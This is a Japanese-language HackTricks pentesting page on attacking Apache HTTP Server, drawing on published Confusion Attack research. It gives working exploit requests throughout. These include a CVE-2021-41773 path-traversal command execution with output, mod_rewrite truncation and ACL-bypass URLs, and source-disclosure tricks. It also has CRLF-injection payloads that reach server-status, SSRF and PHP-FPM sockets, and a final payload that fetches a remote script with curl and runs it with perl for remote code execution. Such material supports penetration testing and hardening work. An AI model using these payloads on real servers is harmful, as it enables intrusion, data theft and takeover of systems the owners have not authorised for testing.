Apache

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

実行可能なPHP拡張

Apacheサーバーが実行している拡張を確認します。それらを検索するには、次のコマンドを実行できます:

bash
grep -R -B1 "httpd-php" /etc/apache2

この設定を見つけることができる場所は次のとおりです：

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

これらの攻撃はOrangeによってこのブログ投稿で紹介され、文書化されています。以下はその要約です。「混乱」攻撃は、Apacheを作成するために連携して動作する多数のモジュールが完全に同期していないことを悪用し、いくつかのモジュールが予期しないデータを変更することで、後のモジュールに脆弱性を引き起こす可能性があります。

Filename Confusion

Truncation

**mod_rewrite**は、r->filenameの内容を?の後で切り詰めます（modules/mappers/mod_rewrite.c#L4141）。これは完全に間違っているわけではなく、ほとんどのモジュールはr->filenameをURLとして扱います。しかし、他の場面ではこれがファイルパスとして扱われ、問題を引き起こす可能性があります。

  • Path Truncation

以下のルールの例のようにmod_rewriteを悪用して、期待されるパスの最後の部分を単に?を追加することで削除し、ファイルシステム内の他のファイルにアクセスすることが可能です。

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • 誤解を招くRewriteFlagの割り当て

次のリライトルールでは、URLが.phpで終わる限り、それはphpとして扱われ、実行されます。したがって、?文字の後に.phpで終わるURLを送信し、パスに悪意のあるphpコードが含まれた別のタイプのファイル（画像など）を読み込むことが可能です。

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

ユーザーがアクセスを拒否されるべきファイルにアクセスすることが可能です。これは次のような設定で発生します：

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

これは、デフォルトでPHP-FPMが.phpで終わるURLを受け取るためです。例えば、http://server/admin.php%3Fooo.phpのように、PHP-FPMは?の後のすべてを削除するため、前のルールが禁止していても、以前のURLは/admin.phpを読み込むことを許可します。

DocumentRootの混乱

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apacheに関する面白い事実は、以前のリライトがdocumentRootとルートの両方からファイルにアクセスしようとすることです。したがって、https://server/abouth.htmlへのリクエストは、ファイルシステム内の/var/www/html/about.htmlと/about.htmlの両方でファイルをチェックします。これは基本的にファイルシステム内のファイルにアクセスするために悪用される可能性があります。

サーバーサイドソースコードの開示

  • CGIソースコードの開示

末尾に%3Fを追加するだけで、cgiモジュールのソースコードを漏洩させるのに十分です：

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • PHPソースコードの開示

サーバーに異なるドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、phpコードを漏洩させることができます：

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

ローカルガジェットの操作

前の攻撃の主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることです。これはApache HTTP Serverの設定テンプレートに示されています。

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

しかし、Debian/Ubuntu オペレーティングシステムはデフォルトで /usr/share を許可しています：

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

したがって、これらのディストリビューションの /usr/share 内にあるファイルを悪用することが可能です。

ローカルガジェットによる情報漏洩

  • Apache HTTP Server と websocketd は、/usr/share/doc/websocketd/examples/php/ にある dump-env.php スクリプトを公開する可能性があり、これにより機密の環境変数が漏洩する可能性があります。
  • Nginx または Jetty を使用しているサーバーは、デフォルトのウェブルートに配置された機密のウェブアプリケーション情報（例：web.xml）を公開する可能性があります：
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

ローカルガジェットによるXSS

  • LibreOfficeがインストールされたUbuntu Desktop では、ヘルプファイルの言語切り替え機能を悪用することで クロスサイトスクリプティング（XSS） が発生する可能性があります。/usr/share/libreoffice/help/help.html でURLを操作することで、悪意のあるページや古いバージョンにリダイレクトされる可能性があります。

ローカルガジェットによるLFI

  • PHPや JpGraph や jQuery-jFeed のような特定のフロントエンドパッケージがインストールされている場合、これらのファイルを悪用して /etc/passwd のような機密ファイルを読み取ることができます：
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

ローカルガジェットによるSSRF

  • MagpieRSSのmagpie_debug.php を /usr/share/php/magpierss/scripts/magpie_debug.php で利用することで、SSRF脆弱性を簡単に作成でき、さらなる攻撃へのゲートウェイを提供します。

ローカルガジェットによるRCE

  • リモートコード実行（RCE） の機会は広範で、古い PHPUnit や phpLiteAdmin のような脆弱なインストールが存在します。これらは任意のコードを実行するために悪用される可能性があり、ローカルガジェットの操作の広範な可能性を示しています。

ローカルガジェットからの脱獄

インストールされたソフトウェアによって生成されたシンボリックリンクをたどることで、許可されたフォルダから脱獄することも可能です。例えば：

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

さらに、シンボリックリンクを悪用することで RedmineでのRCEを取得することが可能でした。

ハンドラ混乱

この攻撃は、AddHandler と AddType ディレクティブの機能の重複を悪用します。これらはどちらも PHP処理を有効にする ために使用できます。元々、これらのディレクティブはサーバーの内部構造の異なるフィールド（それぞれ r->handler と r->content_type）に影響を与えていました。しかし、レガシーコードのため、Apacheは特定の条件下でこれらのディレクティブを相互に処理し、前者が設定されていて後者が設定されていない場合、r->content_type を r->handler に変換します。

さらに、Apache HTTP Server (server/config.c#L420) では、ap_run_handler() を実行する前に r->handler が空である場合、サーバーは r->content_type をハンドラとして使用します。これにより、AddType と AddHandler は効果的に同一になります。

ハンドラを上書きしてPHPソースコードを開示する

この講演 では、クライアントによって送信された不正な Content-Length が原因でApacheが誤って PHPソースコードを返す 脆弱性が提示されました。これは、ModSecurityとApache Portable Runtime（APR）のエラーハンドリングの問題によるもので、二重応答が r->content_type を text/html に上書きすることにつながります。
ModSecurityが戻り値を適切に処理しないため、PHPコードを返し、それを解釈しません。

ハンドラを上書きしてXXXX

TODO: Orangeはこの脆弱性をまだ開示していません

任意のハンドラを呼び出す

攻撃者がサーバー応答の Content-Type ヘッダーを制御できる場合、任意のモジュールハンドラを呼び出す ことができます。しかし、攻撃者がこれを制御する時点で、リクエストのほとんどの処理は完了しています。ただし、Location ヘッダーを悪用してリクエストプロセスを再起動することが可能です。なぜなら、r が返された Status が200で、Location ヘッダーが / で始まる場合、応答はサーバーサイドリダイレクションとして扱われ、処理されるべきだからです。

RFC 3875（CGIに関する仕様）では、セクション6.2.2 でローカルリダイレクト応答の動作を定義しています：

CGIスクリプトは、ローカルリソースのためのURIパスとクエリ文字列（‘local-pathquery’）をLocationヘッダーに返すことができます。これは、サーバーに指定されたパスを使用してリクエストを再処理するよう指示します。

したがって、この攻撃を実行するには、次のいずれかの脆弱性が必要です：

  • CGI応答ヘッダーにおけるCRLFインジェクション
  • 応答ヘッダーの完全な制御を伴うSSRF

任意のハンドラによる情報漏洩

例えば、/server-status はローカルでのみアクセス可能であるべきです：

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Typeをserver-statusに設定し、Locationヘッダーを/で始めることでアクセスすることが可能です。

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

任意ハンドラーから完全なSSRFへ

mod_proxyにリダイレクトして、任意のURL上の任意のプロトコルにアクセスする:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

しかし、X-Forwarded-For ヘッダーが追加され、クラウドメタデータエンドポイントへのアクセスが防止されます。

ローカルUnixドメインソケットにアクセスするための任意のハンドラー

PHP-FPMのローカルUnixドメインソケットにアクセスして、/tmp/ にあるPHPバックドアを実行します：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

任意ハンドラーによるRCE

公式の PHP Docker イメージには、コマンドラインPHPパッケージ管理ツールであるPEAR（Pearcmd.php）が含まれており、これを悪用してRCEを取得できます：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary、著者はPhith0nです。この技術の詳細については、こちらをご覧ください。

References

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする